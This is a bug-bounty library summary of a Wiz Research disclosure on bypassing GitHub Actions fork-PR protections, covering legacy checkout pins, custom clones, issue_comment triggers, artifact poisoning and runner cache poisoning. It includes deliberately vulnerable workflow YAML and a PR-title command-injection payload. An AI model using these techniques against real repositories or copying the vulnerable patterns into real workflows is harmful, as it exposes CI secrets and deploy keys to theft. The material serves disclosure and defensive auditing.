# The Pwn Request Reckoning: What Still Works Against GitHub Actions

GitHub Actions pull_request_target/workflow_run protections can be bypassed via SHA-pinned old checkout, custom git/gh clones, issue_comment triggers, and artifact poisoning to run attacker code with secrets.

- Payout: Research
- Severity: high
- Program: GitHub
- Write-up by: Wiz Research
- Disclosed: 2026-10-26
- Write-up quality: 7/10
- Original: https://www.wiz.io/blog/github-actions-security-pwn-request-reckoning
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-github-actions-security-pwn-request-reckoning
- Tags: area:cloud domain:infra impact:rce kind:research platform:threat-intel sev:high tech:github-actions technique:incomplete-fix technique:source-review vuln:command-injection

**Target:** GitHub Actions workflows (pull_request_target, workflow_run, issue_comment, repository_dispatch)
**Root cause:** GitHub's 2026 checkout/cache protections are implemented inside actions/checkout and the cache service, so any path that fetches fork code outside that action (old SHA-pinned versions, git/gh CLI, third-party actions) or any trigger not covered (issue_comment, repository_dispatch) still runs untrusted code with secrets.
**Steps:**
1. SHA pinning bypass: reference `actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955` (v4.3.0, pre-July-2026 backport) in a pull_request_target workflow; protections are absent.
2. Custom checkout bypass: in a privileged workflow run `git clone "https://github.com/${PR_REPO}" pr-code && git -C pr-code checkout "${PR_SHA}"` or `gh pr checkout "${PR_NUMBER}"` using PR head repo/sha from event context.
3. issue_comment bypass: workflow on `issue_comment` with `if: github.event.issue.pull_request && contains(github.event.comment.body, '/deploy')` and `actions/checkout@v7` with `ref: refs/pull/${{ github.event.issue.number }}/merge` checks out fork code unrestricted.
4. Script injection: workflow with `run: echo "Thanks for PR: ${{ github.event.pull_request.title }}"`; attacker sets PR title to `"; touch /tmp/pwned; echo INJECTED #`.
5. Artifact poisoning: unprivileged `pull_request` workflow uploads `build-output`; privileged `workflow_run` downloads it via `run-id: ${{ github.event.workflow_run.id }}` and executes `./dist/deploy.sh` with `DEPLOY_KEY` in env.
6. Self-hosted runner: untrusted job writes to `~/.npm`/`~/.cache/pip` on non-ephemeral runner, poisoning later trusted release job.
7. Explicit opt-in: `allow-unsafe-pr-checkout: true` on checkout@v7 re-enables fork checkout.
**How found:** Empirical testing across workflow triggers comparing mutable tags (@v4, @v4.4.0) vs SHA-pinned legacy refs (@v4.3.0) revealed the protection discrepancy; reviewing GitHub changelog noted checkout protections only cover pull_request_target and workflow_run, exposing issue_comment and repository_dispatch.
**Exploitation:** Attacker opens a PR (or comments /deploy, or sends repository_dispatch) against a repo whose workflow uses a privileged trigger; the workflow fetches or executes attacker-controlled code either via legacy checkout, custom git/gh clone, artifact download, or shell interpolation, gaining the job's GITHUB_TOKEN and secrets (e.g. DEPLOY_KEY) to exfiltrate or push.
**Escalation:** Chaining unprivileged pull_request build with privileged workflow_run artifact download escalates from no-secret context to secret-bearing deploy job; self-hosted runner persistence escalates to subsequent trusted release jobs.
**Insight:** Platform-level mitigations implemented inside an action are bypassed by any code path that doesn't use that action: audit SHA-pinned refs against patched release tags, grep for git/gh clone and third-party checkout actions, and check triggers outside the protected set (issue_comment, repository_dispatch) where checkout v7 still fetches fork refs without the unsafe flag.

## Proof of concept (copied exactly from the original report)

**issue_comment /deploy workflow checks out fork PR code**

```
on:
 issue_comment:
 types: [created]
jobs:
 deploy:
 if: github.event.issue.pull_request && contains(github.event.comment.body, '/deploy')
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v7
 with:
 ref: refs/pull/${{ github.event.issue.number }}/merge # Checks out fork PR code
```

**Script injection via PR title in pull_request_target**

```
on: pull_request_target
jobs:
 greet:
 runs-on: ubuntu-latest
 steps:
 - run: echo "Thanks for PR: ${{ github.event.pull_request.title }}"

An attacker simply crafts a pull request with a malicious title: 
"; touch /tmp/pwned; echo INJECTED #
```

**Artifact poisoning chain from pull_request to workflow_run**

```
# .github/workflows/build.yml - unprivileged, runs the fork's code
name: Build
on: pull_request
jobs:
 build:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v7
 - run: npm ci && npm run build # Attacker-controlled
 - uses: actions/upload-artifact@v4
 with:
 name: build-output
 path: ./dist/

# .github/workflows/deploy.yml - privileged, has secrets
name: Deploy Preview
on:
 workflow_run:
 workflows: ["Build"]
 types: [completed]
jobs:
 deploy:
 if: github.event.workflow_run.conclusion == 'success'
 runs-on: ubuntu-latest
 steps:
 - uses: actions/download-artifact@v4
 with:
 name: build-output
 path: ./dist/
 run-id: ${{ github.event.workflow_run.id }} # Fetches the fork run's artifact
 github-token: ${{ secrets.GITHUB_TOKEN }}
 - run: ./dist/deploy.sh # Executes attacker-controlled file
 env:
 DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # Exposed to attacker code
```

